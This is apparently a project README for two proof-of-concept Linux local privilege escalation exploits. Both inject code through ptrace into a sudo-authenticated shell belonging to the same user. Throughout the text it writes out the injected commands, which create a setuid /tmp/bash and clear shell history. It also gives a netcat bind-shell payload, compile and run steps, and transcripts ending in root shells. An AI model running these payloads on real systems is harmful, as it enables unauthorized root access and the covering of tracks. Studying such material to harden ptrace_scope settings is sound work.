ptrace misconfiguration local privilege escalation

ptrace misconfiguration Local Privilege Escalation

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WARNING! this is a POC, the code is CRAP

why this POC? why ptrace for this? just for fun. I know, I know you can get the sudo control in other different ways x)

video demo on youtube: https://youtu.be/3Qmy1Y8W7A8

Injecting code via ptrace (with same user) in shells with sudo authenticated

Exploit Reqs:

• ptrace enable to attach the processes of the user
• terminal with a sudo user group (attacker)
• terminal with the same user & sudo authenticated (victim)
• run xpk or ptrex

WARNING: if GDB is installed in the machine is more safe run https://www.exploit-db.com/exploits/46989

'ptrace_scope' misconfiguration Local Privilege Escalation by Marcelo Vazquez (s4vitar) & Victor Lasa (vowkin)

my code is based in the s4vitar & vowkin POC and use ptrace (no GDB dep).

I made two POC-flavours for the same thing xpk.c & ptrex.c

Do you want a more advanced stuff? check https://github.com/David-Reguera-Garcia-Dreg/drx_ptrace_shellcode_injector

xpk.c

stdin hijack (using ptrace_do lib https://github.com/emptymonkey/ptrace_do): sudo -S cp /bin/bash /tmp + sudo -S chmod +s /tmp/bash + history -c

gcc -o xpk xpk.c
./xpk

WARNING: only works for x86_64 systems (ptrace_do limitation)

• can inject code from x86_64-xpk-compiled to x86_64 process
• can inject code from x86_64-xpk-compiled to x86 process

ptrex.c:

shellcode injection (using ptrace) execve(python -c import os; os.system("echo | sudo -S cp /bin/bash /tmp >/dev/null 2>&1 && echo | sudo -S chmod +s /tmp/bash >/dev/null 2>&1"));

gcc -o ptrex ptrex.c
 ./ptrex 

You can also inject your own python code:

./ptrex full_python_path newcmdline

Example with

• own python binary (limit 150 bytes): /home/dreg/tmp/python
• bind bash shell python code (limit 250 bytes) : import os; os.system("/usr/bin/sudo /bin/nc -lvp 4444 -e /bin/bash")

./ptrex /home/dreg/tmp/python 'import os; os.system("/usr/bin/sudo /bin/nc -lvp 4444 -e /bin/bash")'

• works for x86_64 systems & x86 systems
• can inject code from x86_64-ptrex-compiled to x86_64 process
• can inject code from x86-ptrex-compiled to x86 process
• can inject code from x86_64-ptrex-compiled to x86 process

WARNING: inject code from x86-ptrex-compiled to x86_x64 process is not possible

How to test xpk.c:

Open a terminal with a sudo user group

execute any command with sudo and enter the password, ex:

dreg@fr33project:~$ tty
/dev/pts/4
dreg@fr33project:~$ id
uid=1003(dreg) gid=1003(dreg) groups=1003(dreg),27(sudo)
dreg@fr33project:~$ sudo whoami
[sudo] password for dreg:
root
dreg@fr33project:~$ 

open other terminal with the same user and execute ./xpk (the name of the exploit executable is important, dont change!)

dreg@fr33project:~$ tty
/dev/pts/7
dreg@fr33project:~$ .gcc -o xpk xpk.c
dreg@fr33project:~$ ./xpk
David Reguera Garcia aka Dreg exploit without gdb dep, based in:
https://www.exploit-db.com/exploits/46989
'ptrace_scope' misconfiguration Local Privilege Escalation
Authors: Marcelo Vazquez  (s4vitar)
         Victor Lasa       (vowkin)

[*] PID -> bash
[*] Path 2660: /home/dreg
stdin fd: 4
echo "clear && echo | sudo -S cp /bin/bash /tmp >/dev/null 2>&1 && echo | sudo -S chmod +s /tmp/bash >/dev/null 2>&1 | echo && history -c && clear" >> /tmp/crap
[*] PID -> bash
[*] Path 2892: /home/dreg
stdin fd: 4
echo "clear && echo | sudo -S cp /bin/bash /tmp >/dev/null 2>&1 && echo | sudo -S chmod +s /tmp/bash >/dev/null 2>&1 | echo && history -c && clear" >> /tmp/crap
[*] PID -> sh
[*] Path 2998: /home/dreg
stdin fd: 4
echo "clear && echo | sudo -S cp /bin/bash /tmp >/dev/null 2>&1 && echo | sudo -S chmod +s /tmp/bash >/dev/null 2>&1 | echo && history -c && clear" >> /tmp/crap
[*] PID -> bash
[*] Path 2999: /home/dreg
stdin fd: 4
echo "clear && echo | sudo -S cp /bin/bash /tmp >/dev/null 2>&1 && echo | sudo -S chmod +s /tmp/bash >/dev/null 2>&1 | echo && history -c && clear" >> /tmp/crap

[*] Cleaning up...
[*] Spawning root shell...
bash-5.0# id
uid=1003(dreg) gid=1003(dreg) euid=0(root) egid=0(root) groups=0(root),27(sudo),1003(dreg)
bash-5.0# whoami
root
bash-5.0#

How to test ptrex.c:

Open a terminal with a sudo user group

execute any command with sudo and enter the password, ex:

dreg@fr33project:~$ tty
/dev/pts/4
dreg@fr33project:~$ id
uid=1003(dreg) gid=1003(dreg) groups=1003(dreg),27(sudo)
dreg@fr33project:~$ sudo whoami
[sudo] password for dreg:
root
dreg@fr33project:~$ 

open other terminal with the same user and execute ./ptrex

dreg@fr33project:~$ tty
/dev/pts/7
dreg@fr33project:~$ .gcc -o ptrex ptrex.c
dreg@fr33project:~$ ./ptrex
ptrex v0.3-beta - MIT License - Copyright 2020
David Reguera Garcia aka Dreg - [email protected]
http://github.com/David-Reguera-Garcia-Dreg/ - http://www.fr33project.org/
-
ptrace misconfiguration Local Privilege Escalation
using ptrace (no GDB dep) execve
-
Based from: https://www.exploit-db.com/exploits/46989
'ptrace_scope' misconfiguration Local Privilege Escalation by Marcelo Vazquez (s4vitar) & Victor Lasa (vowkin)

To change default python path & cmd injected: ./ptrex full_python_path newcmdline
    example: ./ptrex /home/dreg/tmp/python 'import os; os.system("/usr/bin/sudo /bin/nc -lvp 4444 -e /bin/bash")'

/proc/sys/kernel/yama/ptrace_scope : 0
pgrep "^(echo $(cat /etc/shells | tr '/' ' ' | awk 'NF{print $NF}' | tr '\n' '|'))$" -u "$(id -u)" | sed '$ d'
current pid: 18888
skipping current shell pid: 18888
current pid: 20156
elf plat: 64
waiting for process
getting registers
injecting shellcode at: 0x00007f33a88890e9
setting instruction pointer to: 0x00007f33a88890e9
runing
please wait...
found suid shell: /tmp/bash
rooting.....
/tmp/bash -p -c 'rm /tmp/bash ; tput cnorm && /bin/bash -p'

bash-5.0# whoami
root
bash-5.0#

If this fail, try the bind shell example

Example ptrex.c bind shell netcat

This example needs netcat installed in the machine

Open a terminal with a sudo user group

execute any command with sudo and enter the password, ex:

dreg@fr33project:~$ tty
/dev/pts/4
dreg@fr33project:~$ id
uid=1003(dreg) gid=1003(dreg) groups=1003(dreg),27(sudo)
dreg@fr33project:~$ sudo whoami
[sudo] password for dreg:
root
dreg@fr33project:~$ 

open other terminal with the same user and execute ./ptrex

dreg@fr33project:~$ tty
/dev/pts/7
dreg@fr33project:~$ .gcc -o ptrex ptrex.c
dreg@fr33project:~$ ./ptrex /usr/bin/python 'import os; os.system("/usr/bin/sudo /bin/nc -lvp 4444 -e /bin/bash")'
dreg@fr33project:~$ nc 127.0.0.1 444
whoami
root

WORKING ON:

• Parrot Home/Workstation: 4.6
• Parrot Security: 4.6
• CentOS / RedHat: 7.6
• Kali Linux: 2018.4
• Debian GNU/Linux: 10 (buster), 9.13 (stretch)

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